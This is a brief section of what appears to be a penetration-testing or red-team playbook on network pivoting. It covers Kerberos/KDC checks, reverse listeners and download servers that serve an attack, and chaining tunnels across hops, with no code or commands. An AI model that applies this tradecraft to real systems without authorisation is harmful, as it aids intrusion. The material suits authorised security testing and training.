6.1.3.17.9 Failure and fallback

No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback.

6.1.3.17.10 Continue from the interpreted result

Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify resolved destination, ticket/server principal and actual authenticated application action.

Failure/next check: Do not downgrade the identity claim because transport works. DNS, time, KDC access and service authorization are independent checks.

Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify the target-initiated connection from its source context and the final session or downloaded bytes.

Failure/next check: Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional.

Requires: A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Validate each hop with an application-aware test before chaining the final client.

Failure/next check: Avoid rebuilding every tunnel after one failure. Isolate the first broken leg and preserve working state.